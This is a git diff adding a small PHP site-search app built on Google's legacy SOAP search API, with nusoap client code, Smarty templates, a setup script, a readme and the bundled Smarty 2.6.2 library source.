+                                        if (!extension_loaded('curl')) {
+                                    $this->setError('CURL Extension is required for HTTPS');
+                                                return false;
+                                }
+                                $response = $http->sendHTTPS($msg,$timeout);
+                        }
+                                $this->debug("transport debug data...\n".$http->debug_str);
+                                $this->request = $http->outgoing_payload;
+                                $this->response = $http->incoming_payload;
+                                if($err = $http->getError()){
+                                        $this->setError("HTTP Error: $err");
+                                        return false;
+                                }
+                                $this->debug('got response, length: '.strlen($response));
+                                return $this->parseResponse($response);
+                                break;
+                        default:
+                                $this->setError('no transport found, or selected transport is not yet supported!');
+                        return false;
+                        break;
+                }
+        }
+
+        /**
+        * processes SOAP message returned from server
+        *
+        * @param        string unprocessed response data from server
+        * @return        object SOAPx4 soapval object
+        * @access   public
+        */
+    function parseResponse($data) {
+                $this->debug("Entering parseResponse(), about to create soap_parser instance");
+                $parser = new soap_parser($data,$this->xml_encoding,$this->operation);
+                // if parse errors
+                if($errstr = $parser->getError()){
+                        $this->setError( $errstr);
+                        // destroy the parser object
+                        unset($parser);
+                        return false;
+                } else {
+                        // get SOAP headers
+                        $this->responseHeaders = $parser->getHeaders();
+                        // get decoded message
+                        $return = $parser->get_response();
+                        // add parser debug data to our debug
+                        $this->debug($parser->debug_str);
+                        // destroy the parser object
+                        unset($parser);
+                        // return decode message
+                        return $return;
+                }
+         }
+
+        /**
+        * set the SOAP headers
+        *
+        * @param        $headers string XML
+        * @access   public
+        */
+        function setHeaders($headers){
+                $this->requestHeaders = $headers;
+        }
+
+        /**
+        * get the response headers
+        *
+        * @return        mixed object SOAPx4 soapval object or empty if no headers
+        * @access   public
+        */
+        function getHeaders(){
+            if($this->responseHeaders != "") {
+                        return $this->responseHeaders;
+            }
+        }
+
+        /**
+        * set proxy info here
+        *
+        * @param    string $proxyhost
+        * @param    string $proxyport
+        * @access   public
+        */
+        function setHTTPProxy($proxyhost, $proxyport) {
+                $this->proxyhost = $proxyhost;
+                $this->proxyport = $proxyport;
+        }
+
+        /**
+        * if authenticating, set user credentials here
+        *
+        * @param    string $username
+        * @param    string $pword
+        * @access   public
+        */
+        function setCredentials($username, $pword) {
+                $this->user = $username;
+                $this->pass = $pword;
+        }
+
+        /**
+        * dynamically creates proxy class, allowing user to directly call methods from wsdl
+        *
+        * @return   object soap_proxy object
+        * @access   public
+        */
+        function getProxy(){
+                foreach($this->operations as $operation => $opData){
+                        if($operation != ""){
+                                // create param string
+                                if(sizeof($opData['input']['parts']) > 0){
+                                        foreach($opData["input"]["parts"] as $name => $type){
+                                                $paramStr .= "\$$name,";
+                                        }
+                                        $paramStr = substr($paramStr,0,strlen($paramStr)-1);
+                                }
+                                $evalStr .= "
+                                function $operation ($paramStr){
+                                        // load params into array
+                                        \$params = array($paramStr);
+                                        return \$this->call('$operation',\$params,'".$opData['namespace']."','".$opData['soapAction']."');
+                                }
+                                ";
+                                unset($paramStr);
+                        }
+                }
+                $evalStr = "
+                        class soap_proxy extends soapclient {
+                                $evalStr
+                        }
+                ";
+                //print "proxy class:<pre>$evalStr</pre>";
+                // eval the class
+                eval($evalStr);
+                // instantiate proxy object
+                $proxy = new soap_proxy("");
+                // transfer current wsdl data to the proxy thereby avoiding parsing the wsdl twice
+                $proxy->endpointType = 'wsdl';
+                $proxy->wsdlFile = $this->wsdlFile;
+                $proxy->wsdl = $this->wsdl;
+                $proxy->operations = $this->operations;
+                return $proxy;
+        }
+}
+
+?>
\ No newline at end of file
diff --git a/google/pagemenu.php b/google/pagemenu.php
new file mode 100755 (executable)
index 0000000..857956e
--- /dev/null
@@ -0,0 +1,65 @@
+<?php
+  include_once('background.php');
+  include_once('htmlfuncs.php');
+  include_once(SmartyClass());  
+  
+  function CurrentPage($Start, $MaxPerPage)
+  {
+    $CurrentPage = floor($Start / $MaxPerPage) + 1;
+    
+    return $CurrentPage;
+  }
+  
+  function MinPage($CurrentPage, $Start, $Total, $MaxPerPage)
+  {
+    $MinPage = $CurrentPage - PageSpread();
+    if ($MinPage < 1)
+    {
+      $MinPage = 1;
+    }
+    
+    return $MinPage;
+  }
+  
+  function MaxPage($CurrentPage, $Start, $Total, $MaxPerPage)
+  {
+    if ($Start + PageSpread() >= $Total)
+    {
+      $MaxPage = $CurrentPage;
+    }
+    else
+    {
+      $MaxPage = ceil($Total / $MaxPerPage);
+      if ($MaxPage - PageSpread() >= $CurrentPage)
+      {
+        $MaxPage = $CurrentPage + PageSpread();
+      }
+    }
+    return $MaxPage + 1;
+  }  
+  
+  function PageMenu($Query, $Site, $Start, $Total, $MaxPerPage)
+  {
+    $CurrentPage = CurrentPage($Start, $MaxPerPage);
+
+    $Site = GetParam("Site", "");
+    
+    $MinPage = MinPage($CurrentPage, $Start, $Total, $MaxPerPage);
+    $MaxPage = MaxPage($CurrentPage, $Start, $Total, $MaxPerPage);
+        
+    for ($i = $MinPage; $i < $MaxPage; $i++)
+    {
+      $PageNumber[$i-1] = $i;
+      $Page[$i-1]       = $GLOBALS["PHP_SELF"]."?Query=".$Query."&Site=".$Site."&Start=".(($i-1)*$MaxPerPage);
+    }
+    
+    //return $Result;
+    $PageMenuTemplate = new Smarty;
+    $PageMenuTemplate->compile_dir = SmartyCompileDir();
+    $PageMenuTemplate->Assign('NumPages', $i + 1);
+    $PageMenuTemplate->Assign('Page', $Page);
+    $PageMenuTemplate->Assign('PageNumber', $PageNumber);
+   
+    return $PageMenuTemplate->fetch('pagemenu.tpl.htm');
+  }
+?>
diff --git a/google/pagemenu.tpl.htm b/google/pagemenu.tpl.htm
new file mode 100755 (executable)
index 0000000..fc51338
--- /dev/null
@@ -0,0 +1,13 @@
+<div align="center">
+  <center><table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" id="AutoNumber1">
+  <tr>
+    <td colspan="{$NumPages}">
+    <p align="center"><font face="Verdana">Page</font></td>
+  </tr>
+  <tr>
+  {section name=i loop=$Page}
+    <td><font face="Verdana">&nbsp;<a href="{$Page[i]}">{$PageNumber[i]}</a>&nbsp;</font></td>
+  {/section}
+  </tr>
+</table></center>
+</div>
\ No newline at end of file
diff --git a/google/readme.txt b/google/readme.txt
new file mode 100755 (executable)
index 0000000..5751c6f
--- /dev/null
@@ -0,0 +1,28 @@
+1. Copy files to a directory.
+2. Modify background.php with a text editor.
+
+  function MainSearchSite()
+  {
+    return "thinkbling.com";//Leave blank for the entire web.
+  }
+  
+  function GoogleKey()
+  {
+    return "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
+  }
+
+       a. Where it says "thinkbling.com", choose your target site or leave blank to have all.
+        b. If you want all Also modify the options function to return false.
+        c. Get your Google Key from http://www.google.com/apis/
+               There you will need to sign up with Google to get your key.
+
+3. CHMOD the directory that you created to 777.
+4. Run setup.php.
+5. CMHMOD the directory back to the original value (Probably 755).
+
+
+VERY IMPORTANT NOTE:
+This download contains nusoap.php and Smarty and is restricted by the license detailed at
+       http://dietrich.ganx4.com/nusoap/
+and...
+       http://smarty.php.net/copyright.php
diff --git a/google/results.php b/google/results.php
new file mode 100755 (executable)
index 0000000..a715d6f
--- /dev/null
@@ -0,0 +1,74 @@
+<?php 
+  include_once('nusoap.php');
+  include_once('htmlfuncs.php');  
+  include_once('background.php');
+  include_once('pagemenu.php');
+  include_once(SmartyClass());
+  
+  function SearchResults()
+  {
+    //Create template object.
+    $ResultsTemplate = new Smarty;
+    $ResultsTemplate->compile_dir = FullSmartyCompileDir();
+  
+    $Query = GetParam("Query", "");
+   
+    if ($Query == "")
+    {
+      return;
+    }
+
+    $Site = GetParam("Site", "");
+    if ($Site != "")
+    {
+      $Site = " site:$Site";
+    }
+
+    $Start = intval(GetParam("Start", 0));
+  
+    $GoogleKey    = GoogleKey();
+    $GoogleAPIURL = GoogleAPIURL();
+    $MaxResults   = MaxResults();
+    $Param = array("key"         => $GoogleKey,
+                   "q"           => $Query.$Site,                 
+                   "start"       => $Start,
+                   "maxResults"  => $MaxResults,
+                   "filter"      => false,
+                   "restrict"    => "",
+                   "safeSearch"  => false,
+                   "lr"          => "lang_en",
+                   "ie"          => "",
+                   "oe"          => "");             
+  
+    // Create a new client by providing the endpoint to the constructor.
+    $Client = new soapclient($GoogleAPIURL);
+   
+    $QueryResult = $Client->call("doGoogleSearch", $Param, "urn:GoogleSearch");
+    $Searchtime  = $QueryResult["searchTime"];
+    $Begin       = $Start + 1;
+    $End         = $Start + $Param["maxResults"];
+    $Total       = $QueryResult["estimatedTotalResultsCount"]; 
+  
+    if ($Total > 0)
+    {
+      $QueryResult = $QueryResult["resultElements"]; 
+
+      for ($i = 0; $i < $MaxResults; $i++)
+      {
+        $Element     = $QueryResult[$i];
+        $Snippet[$i] = $Element["snippet"];
+        $URL[$i]     = $Element["URL"];
+        $Title[$i]   = $Element["title"];
+      }
+    }
+    $ResultsTemplate->Assign('Snippet', $Snippet);
+    $ResultsTemplate->Assign('URL', $URL);
+    $ResultsTemplate->Assign('Title', $Title);
+    
+    $Result  = $ResultsTemplate->fetch('results.tpl.htm') . PageMenu($Query, $Site, $Start, $Total, $MaxResults);
+    
+    return $Result;    
+  }
+
+?>
\ No newline at end of file
diff --git a/google/results.tpl.htm b/google/results.tpl.htm
new file mode 100755 (executable)
index 0000000..646b7c1
--- /dev/null
@@ -0,0 +1,16 @@
+<font face="Verdana" size="2">{$SearchResults}</font><table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" id="AutoNumber1">
+{section name=i loop=$Title}
+  <tr>
+    <td width="100%"><b><font face="Verdana"><a href="{$URL[i]}">{$Title[i]}</a></font></b></td>
+  </tr>
+  <tr>
+    <td width="100%"><font face="Verdana" size="2">{$Snippet[i]}</font></td>
+  </tr>
+  <tr>
+    <td width="100%"><font face="Verdana" size="1">{$URL[i]}</font></td>
+  </tr>
+  <tr>
+    <td width="100%"><font face="Verdana" size="1">&nbsp;</font></td>
+  </tr>  
+{/section}
+</table>
\ No newline at end of file
diff --git a/google/search.php b/google/search.php
new file mode 100755 (executable)
index 0000000..1e44a3e
--- /dev/null
@@ -0,0 +1,24 @@
+<?php 
+  include_once('background.php');
+  include_once('htmlfuncs.php');
+  include_once(SmartyClass());  
+  
+  function Search()
+  {
+    $Query = GetParam("Query", "");
+    $Site  = GetParam("Site", "cyngusinc.com");
+
+    $SearchTemplate = new Smarty;
+    $SearchTemplate->compile_dir = FullSmartyCompileDir();
+    $SearchTemplate->Assign('Query', $Query);
+
+    if (ShowOptions())
+    {
+      $SearchTemplate->assign('Options', array(MainSearchSite() => MainSearchSite(),
+                                               ""               => 'The World'));
+      $SearchTemplate->Assign('Selected', $Site);
+    }
+
+    return $SearchTemplate->fetch('search.tpl.htm');
+  }
+?>
diff --git a/google/search.tpl.htm b/google/search.tpl.htm
new file mode 100755 (executable)
index 0000000..63f5eca
--- /dev/null
@@ -0,0 +1,15 @@
+<div align="center">
+  <form method="GET" action="index.php">
+  <table border="0" cellspacing="0" id="AutoNumber1" cellpadding="0">
+    <tr>
+      <td>
+{$SearchType} Search:
+        <input type="text" name="Query"  value="{$Query}"><input type="submit" value="Search" name="BSearch"></p>
+      </td>
+    </tr>
+    <tr>
+      <td align="center">{html_radios name="Site" options=$Options selected=$Selected separator="&nbsp"}</td>
+    </tr>
+  </table>
+  </form>
+</div>
diff --git a/google/setup.php b/google/setup.php
new file mode 100755 (executable)
index 0000000..5bae69f
--- /dev/null
@@ -0,0 +1,29 @@
+<?php
+  include_once("background.php");
+  
+  //If the Smarty compile directory is supposed to be a subdirectory then
+  // then use that to get determine the path. 
+  $CompileDir = FullSmartyCompileDir();
+
+  //If $CompileDir does not exist then try to create it.
+  if (!is_dir($CompileDir))
+  {
+    @mkdir($CompileDir, 0755);
+  }
+  
+  if (!is_dir($CompileDir))
+  {
+    echo ("Can not create \"$CompileDir\".");
+    return;
+  }
+
+  //Make certain that the director has the correct permissions.
+  if (!chmod($CompileDir, 0755))
+  {
+    echo ("Could not set \"$CompileDir\" to have the correct permissions.");  
+  }
+  else//All is well.
+  {
+    echo ("The setup is complete.<br>Please delete this file.");
+  }
+?>
\ No newline at end of file
diff --git a/google/smarty/.cvsignore b/google/smarty/.cvsignore
new file mode 100755 (executable)
index 0000000..cdf4cb4
--- /dev/null
@@ -0,0 +1 @@
+!
diff --git a/google/smarty/Config_File.class.php b/google/smarty/Config_File.class.php
new file mode 100755 (executable)
index 0000000..0330f94
--- /dev/null
@@ -0,0 +1,389 @@
+<?php
+
+/**
+ * Config_File class.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *
+ * @link http://smarty.php.net/
+ * @version 2.6.2
+ * @copyright Copyright: 2001-2004 ispi of Lincoln, Inc.
+ * @author Andrei Zmievski <andrei@php.net>
+ * @access public
+ * @package Smarty
+ */
+
+/* $Id: Config_File.class.php,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $ */
+
+/**
+ * Config file reading class
+ * @package Smarty
+ */
+class Config_File {
+    /**#@+
+     * Options
+     * @var boolean
+     */
+    /**
+     * Controls whether variables with the same name overwrite each other.
+     */
+    var $overwrite        =    true;
+
+    /**
+     * Controls whether config values of on/true/yes and off/false/no get
+     * converted to boolean values automatically.
+     */
+    var $booleanize        =    true;
+
+    /**
+     * Controls whether hidden config sections/vars are read from the file.
+     */
+    var $read_hidden     =    true;
+
+    /**
+     * Controls whether or not to fix mac or dos formatted newlines.
+     * If set to true, \r or \r\n will be changed to \n.
+     */
+    var $fix_newlines =    true;
+    /**#@-*/
+
+    /** @access private */
+    var $_config_path    = "";
+    var $_config_data    = array();
+    /**#@-*/
+
+    /**
+     * Constructs a new config file class.
+     *
+     * @param string $config_path (optional) path to the config files
+     */
+    function Config_File($config_path = NULL)
+    {
+        if (isset($config_path))
+            $this->set_path($config_path);
+    }
+
+
+    /**
+     * Set the path where configuration files can be found.
+     *
+     * @param string $config_path path to the config files
+     */
+    function set_path($config_path)
+    {
+        if (!empty($config_path)) {
+            if (!is_string($config_path) || !file_exists($config_path) || !is_dir($config_path)) {
+                $this->_trigger_error_msg("Bad config file path '$config_path'");
+                return;
+            }
+            if(substr($config_path, -1) != DIRECTORY_SEPARATOR) {
+                $config_path .= DIRECTORY_SEPARATOR;
+            }
+
+            $this->_config_path = $config_path;
+        }
+    }
+
+
+    /**
+     * Retrieves config info based on the file, section, and variable name.
+     *
+     * @param string $file_name config file to get info for
+     * @param string $section_name (optional) section to get info for
+     * @param string $var_name (optional) variable to get info for
+     * @return string|array a value or array of values
+     */
+    function &get($file_name, $section_name = NULL, $var_name = NULL)
+    {
+        if (empty($file_name)) {
+            $this->_trigger_error_msg('Empty config file name');
+            return;
+        } else {
+            $file_name = $this->_config_path . $file_name;
+            if (!isset($this->_config_data[$file_name]))
+                $this->load_file($file_name, false);
+        }
+
+        if (!empty($var_name)) {
+            if (empty($section_name)) {
+                return $this->_config_data[$file_name]["vars"][$var_name];
+            } else {
+                if(isset($this->_config_data[$file_name]["sections"][$section_name]["vars"][$var_name]))
+                    return $this->_config_data[$file_name]["sections"][$section_name]["vars"][$var_name];
+                else
+                    return array();
+            }
+        } else {
+            if (empty($section_name)) {
+                return (array)$this->_config_data[$file_name]["vars"];
+            } else {
+                if(isset($this->_config_data[$file_name]["sections"][$section_name]["vars"]))
+                    return (array)$this->_config_data[$file_name]["sections"][$section_name]["vars"];
+                else
+                    return array();
+            }
+        }
+    }
+
+
+    /**
+     * Retrieves config info based on the key.
+     *
+     * @param $file_name string config key (filename/section/var)
+     * @return string|array same as get()
+     * @uses get() retrieves information from config file and returns it
+     */
+    function &get_key($config_key)
+    {
+        list($file_name, $section_name, $var_name) = explode('/', $config_key, 3);
+        $result = &$this->get($file_name, $section_name, $var_name);
+        return $result;
+    }
+
+    /**
+     * Get all loaded config file names.
+     *
+     * @return array an array of loaded config file names
+     */
+    function get_file_names()
+    {
+        return array_keys($this->_config_data);
+    }
+
+
+    /**
+     * Get all section names from a loaded file.
+     *
+     * @param string $file_name config file to get section names from
+     * @return array an array of section names from the specified file
+     */
+    function get_section_names($file_name)
+    {
+        $file_name = $this->_config_path . $file_name;
+        if (!isset($this->_config_data[$file_name])) {
+            $this->_trigger_error_msg("Unknown config file '$file_name'");
+            return;
+        }
+
+        return array_keys($this->_config_data[$file_name]["sections"]);
+    }
+
+
+    /**
+     * Get all global or section variable names.
+     *
+     * @param string $file_name config file to get info for
+     * @param string $section_name (optional) section to get info for
+     * @return array an array of variables names from the specified file/section
+     */
+    function get_var_names($file_name, $section = NULL)
+    {
+        if (empty($file_name)) {
+            $this->_trigger_error_msg('Empty config file name');
+            return;
+        } else if (!isset($this->_config_data[$file_name])) {
+            $this->_trigger_error_msg("Unknown config file '$file_name'");
+            return;
+        }
+
+        if (empty($section))
+            return array_keys($this->_config_data[$file_name]["vars"]);
+        else
+            return array_keys($this->_config_data[$file_name]["sections"][$section]["vars"]);
+    }
+
+
+    /**
+     * Clear loaded config data for a certain file or all files.
+     *
+     * @param string $file_name file to clear config data for
+     */
+    function clear($file_name = NULL)
+    {
+        if ($file_name === NULL)
+            $this->_config_data = array();
+        else if (isset($this->_config_data[$file_name]))
+            $this->_config_data[$file_name] = array();
+    }
+
+
+    /**
+     * Load a configuration file manually.
+     *
+     * @param string $file_name file name to load
+     * @param boolean $prepend_path whether current config path should be
+     *                              prepended to the filename
+     */
+    function load_file($file_name, $prepend_path = true)
+    {
+        if ($prepend_path && $this->_config_path != "")
+            $config_file = $this->_config_path . $file_name;
+        else
+            $config_file = $file_name;
+
+        ini_set('track_errors', true);
+        $fp = @fopen($config_file, "r");
+        if (!is_resource($fp)) {
+            $this->_trigger_error_msg("Could not open config file '$config_file'");
+            return false;
+        }
+
+        $contents = fread($fp, filesize($config_file));
+        fclose($fp);
+
+        $this->_config_data[$config_file] = $this->parse_contents($contents);
+        return true;
+    }
+
+    /**
+     * Store the contents of a file manually.
+     *
+     * @param string $config_file file name of the related contents
+     * @param string $contents the file-contents to parse
+     */
+    function set_file_contents($config_file, $contents)
+    {
+        $this->_config_data[$config_file] = $this->parse_contents($contents);
+        return true;
+    }
+
+    /**
+     * parse the source of a configuration file manually.
+     *
+     * @param string $contents the file-contents to parse
+     */
+    function parse_contents($contents)
+    {
+        if($this->fix_newlines) {
+            // fix mac/dos formatted newlines
+            $contents = preg_replace('!\r\n?!', "\n", $contents);
+        }
+
+        $config_data = array();
+        $config_data['sections'] = array();
+        $config_data['vars'] = array();
+
+        /* reference to fill with data */
+        $vars =& $config_data['vars'];
+
+        /* parse file line by line */
+        preg_match_all('!^.*\r?\n?!m', $contents, $match);
+        $lines = $match[0];
+        for ($i=0, $count=count($lines); $i<$count; $i++) {
+            $line = $lines[$i];
+            if (empty($line)) continue;
+
+            if ( $line{0} == '[' && preg_match('!^\[(.*?)\]!', $line, $match) ) {
+                /* section found */
+                if ($match[1]{0} == '.') {
+                    /* hidden section */
+                    if ($this->read_hidden) {
+                        $section_name = substr($match[1], 1);
+                    } else {
+                        /* break reference to $vars to ignore hidden section */
+                        unset($vars);
+                        $vars = array();
+                        continue;
+                    }
+                } else {                    
+                    $section_name = $match[1];
+                }
+                if (!isset($config_data['sections'][$section_name]))
+                    $config_data['sections'][$section_name] = array('vars' => array());
+                $vars =& $config_data['sections'][$section_name]['vars'];
+                continue;
+            }
+
+            if (preg_match('/^\s*(\.?\w+)\s*=\s*(.*)/s', $line, $match)) {
+                /* variable found */
+                $var_name = rtrim($match[1]);
+                if (strpos($match[2], '"""') === 0) {
+                    /* handle multiline-value */
+                    $lines[$i] = substr($match[2], 3);
+                    $var_value = '';
+                    while ($i<$count) {
+                        if (($pos = strpos($lines[$i], '"""')) === false) {
+                            $var_value .= $lines[$i++];
+                        } else {
+                            /* end of multiline-value */
+                            $var_value .= substr($lines[$i], 0, $pos);
+                            break;
+                        }
+                    }
+                    $booleanize = false;
+
+                } else {
+                    /* handle simple value */
+                    $var_value = preg_replace('/^([\'"])(.*)\1$/', '\2', rtrim($match[2]));
+                    $booleanize = $this->booleanize;
+
+                }
+                $this->_set_config_var($vars, $var_name, $var_value, $booleanize);
+            }
+            /* else unparsable line / means it is a comment / means ignore it */
+        }
+        return $config_data;
+    }
+
+    /**#@+ @access private */
+    /**
+     * @param array &$container
+     * @param string $var_name
+     * @param mixed $var_value
+     * @param boolean $booleanize determines whether $var_value is converted to
+     *                            to true/false
+     */
+    function _set_config_var(&$container, $var_name, $var_value, $booleanize)
+    {
+        if ($var_name{0} == '.') {
+            if (!$this->read_hidden)
+                return;
+            else
+                $var_name = substr($var_name, 1);
+        }
+
+        if (!preg_match("/^[a-zA-Z_]\w*$/", $var_name)) {
+            $this->_trigger_error_msg("Bad variable name '$var_name'");
+            return;
+        }
+
+        if ($booleanize) {
+            if (preg_match("/^(on|true|yes)$/i", $var_value))
+                $var_value = true;
+            else if (preg_match("/^(off|false|no)$/i", $var_value))
+                $var_value = false;
+        }
+
+        if (!isset($container[$var_name]) || $this->overwrite)
+            $container[$var_name] = $var_value;
+        else {
+            settype($container[$var_name], 'array');
+            $container[$var_name][] = $var_value;
+        }
+    }
+
+    /**
+     * @uses trigger_error() creates a PHP warning/error
+     * @param string $error_msg
+     * @param integer $error_type one of
+     */
+    function _trigger_error_msg($error_msg, $error_type = E_USER_WARNING)
+    {
+        trigger_error("Config_File error: $error_msg", $error_type);
+    }
+    /**#@-*/
+}
+
+?>
diff --git a/google/smarty/Smarty.class.php b/google/smarty/Smarty.class.php
new file mode 100755 (executable)
index 0000000..eb0a0a2
--- /dev/null
@@ -0,0 +1,1984 @@
+<?php
+
+/**
+ * Project:     Smarty: the PHP compiling template engine
+ * File:        Smarty.class.php
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *
+ * For questions, help, comments, discussion, etc., please join the
+ * Smarty mailing list. Send a blank e-mail to
+ * smarty-general-subscribe@lists.php.net
+ *
+ * @link http://smarty.php.net/
+ * @copyright 2001-2004 ispi of Lincoln, Inc.
+ * @author Monte Ohrt <monte@ispi.net>
+ * @author Andrei Zmievski <andrei@php.net>
+ * @package Smarty
+ * @version 2.6.2
+ */
+
+/* $Id: Smarty.class.php,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $ */
+
+/**
+ * DIR_SEP isn't used anymore, but third party apps might
+ */
+if(!defined('DIR_SEP')) {
+    define('DIR_SEP', DIRECTORY_SEPARATOR);
+}
+
+/**
+ * set SMARTY_DIR to absolute path to Smarty library files.
+ * if not defined, include_path will be used. Sets SMARTY_DIR only if user
+ * application has not already defined it.
+ */
+
+if (!defined('SMARTY_DIR')) {
+    define('SMARTY_DIR', BASE."google/smarty/");
+}
+
+define('SMARTY_PHP_PASSTHRU',   0);
+define('SMARTY_PHP_QUOTE',      1);
+define('SMARTY_PHP_REMOVE',     2);
+define('SMARTY_PHP_ALLOW',      3);
+
+/**
+ * @package Smarty
+ */
+class Smarty
+{
+    /**#@+
+     * Smarty Configuration Section
+     */
+
+    /**
+     * The name of the directory where templates are located.
+     *
+     * @var string
+     */
+    var $template_dir    =  'templates';
+
+    /**
+     * The directory where compiled templates are located.
+     *
+     * @var string
+     */
+    var $compile_dir     =  'templates_c';
+
+    /**
+     * The directory where config files are located.
+     *
+     * @var string
+     */
+    var $config_dir      =  'configs';
+
+    /**
+     * An array of directories searched for plugins.
+     *
+     * @var array
+     */
+    var $plugins_dir     =  array('plugins');
+
+    /**
+     * If debugging is enabled, a debug console window will display
+     * when the page loads (make sure your browser allows unrequested
+     * popup windows)
+     *
+     * @var boolean
+     */
+    var $debugging       =  false;
+
+    /**
+     * When set, smarty does uses this value as error_reporting-level.
+     *
+     * @var boolean
+     */
+    var $error_reporting  =  null;
+
+    /**
+     * This is the path to the debug console template. If not set,
+     * the default one will be used.
+     *
+     * @var string
+     */
+    var $debug_tpl       =  '';
+
+    /**
+     * This determines if debugging is enable-able from the browser.
+     * <ul>
+     *  <li>NONE => no debugging control allowed</li>
+     *  <li>URL => enable debugging when SMARTY_DEBUG is found in the URL.</li>
+     * </ul>
+     * @link http://www.foo.dom/index.php?SMARTY_DEBUG
+     * @var string
+     */
+    var $debugging_ctrl  =  'NONE';
+
+    /**
+     * This tells Smarty whether to check for recompiling or not. Recompiling
+     * does not need to happen unless a template or config file is changed.
+     * Typically you enable this during development, and disable for
+     * production.
+     *
+     * @var boolean
+     */
+    var $compile_check   =  true;
+
+    /**
+     * This forces templates to compile every time. Useful for development
+     * or debugging.
+     *
+     * @var boolean
+     */
+    var $force_compile   =  false;
+
+    /**
+     * This enables template caching.
+     * <ul>
+     *  <li>0 = no caching</li>
+     *  <li>1 = use class cache_lifetime value</li>
+     *  <li>2 = use cache_lifetime in cache file</li>
+     * </ul>
+     * @var integer
+     */
+    var $caching         =  0;
+
+    /**
+     * The name of the directory for cache files.
+     *
+     * @var string
+     */
+    var $cache_dir       =  'cache';
+
+    /**
+     * This is the number of seconds cached content will persist.
+     * <ul>
+     *  <li>0 = always regenerate cache</li>
+     *  <li>-1 = never expires</li>
+     * </ul>
+     *
+     * @var integer
+     */
+    var $cache_lifetime  =  3600;
+
+    /**
+     * Only used when $caching is enabled. If true, then If-Modified-Since headers
+     * are respected with cached content, and appropriate HTTP headers are sent.
+     * This way repeated hits to a cached page do not send the entire page to the
+     * client every time.
+     *
+     * @var boolean
+     */
+    var $cache_modified_check = false;
+
+    /**
+     * This determines how Smarty handles "<?php ... ?>" tags in templates.
+     * possible values:
+     * <ul>
+     *  <li>SMARTY_PHP_PASSTHRU -> print tags as plain text</li>
+     *  <li>SMARTY_PHP_QUOTE    -> escape tags as entities</li>
+     *  <li>SMARTY_PHP_REMOVE   -> remove php tags</li>
+     *  <li>SMARTY_PHP_ALLOW    -> execute php tags</li>
+     * </ul>
+     *
+     * @var integer
+     */
+    var $php_handling    =  SMARTY_PHP_PASSTHRU;
+
+    /**
+     * This enables template security. When enabled, many things are restricted
+     * in the templates that normally would go unchecked. This is useful when
+     * untrusted parties are editing templates and you want a reasonable level
+     * of security. (no direct execution of PHP in templates for example)
+     *
+     * @var boolean
+     */
+    var $security       =   false;
+
+    /**
+     * This is the list of template directories that are considered secure. This
+     * is used only if {@link $security} is enabled. One directory per array
+     * element.  {@link $template_dir} is in this list implicitly.
+     *
+     * @var array
+     */
+    var $secure_dir     =   array();
+
+    /**
+     * These are the security settings for Smarty. They are used only when
+     * {@link $security} is enabled.
+     *
+     * @var array
+     */
+    var $security_settings  = array(
+                                    'PHP_HANDLING'    => false,
+                                    'IF_FUNCS'        => array('array', 'list',
+                                                               'isset', 'empty',
+                                                               'count', 'sizeof',
+                                                               'in_array', 'is_array',
+                                                               'true','false'),
+                                    'INCLUDE_ANY'     => false,
+                                    'PHP_TAGS'        => false,
+                                    'MODIFIER_FUNCS'  => array('count'),
+                                    'ALLOW_CONSTANTS' => false
+                                   );
+
+    /**
+     * This is an array of directories where trusted php scripts reside.
+     * {@link $security} is disabled during their inclusion/execution.
+     *
+     * @var array
+     */
+    var $trusted_dir        = array();
+
+    /**
+     * The left delimiter used for the template tags.
+     *
+     * @var string
+     */
+    var $left_delimiter  =  '{';
+
+    /**
+     * The right delimiter used for the template tags.
+     *
+     * @var string
+     */
+    var $right_delimiter =  '}';
+
+    /**
+     * The order in which request variables are registered, similar to
+     * variables_order in php.ini E = Environment, G = GET, P = POST,
+     * C = Cookies, S = Server
+     *
+     * @var string
+     */
+    var $request_vars_order    = "EGPCS";
+
+    /**
+     * Indicates wether $HTTP_*_VARS[] (request_use_auto_globals=false)
+     * are uses as request-vars or $_*[]-vars. note: if
+     * request_use_auto_globals is true, then $request_vars_order has
+     * no effect, but the php-ini-value "gpc_order"
+     *
+     * @var boolean
+     */
+    var $request_use_auto_globals      = true;
+
+    /**
+     * Set this if you want different sets of compiled files for the same
+     * templates. This is useful for things like different languages.
+     * Instead of creating separate sets of templates per language, you
+     * set different compile_ids like 'en' and 'de'.
+     *
+     * @var string
+     */
+    var $compile_id            = null;
+
+    /**
+     * This tells Smarty whether or not to use sub dirs in the cache/ and
+     * templates_c/ directories. sub directories better organized, but
+     * may not work well with PHP safe mode enabled.
+     *
+     * @var boolean
+     *
+     */
+    var $use_sub_dirs          = false;
+
+    /**
+     * This is a list of the modifiers to apply to all template variables.
+     * Put each modifier in a separate array element in the order you want
+     * them applied. example: <code>array('escape:"htmlall"');</code>
+     *
+     * @var array
+     */
+    var $default_modifiers        = array();
+
+    /**
+     * This is the resource type to be used when not specified
+     * at the beginning of the resource path. examples:
+     * $smarty->display('file:index.tpl');
+     * $smarty->display('db:index.tpl');
+     * $smarty->display('index.tpl'); // will use default resource type
+     * {include file="file:index.tpl"}
+     * {include file="db:index.tpl"}
+     * {include file="index.tpl"} {* will use default resource type *}
+     *
+     * @var array
+     */
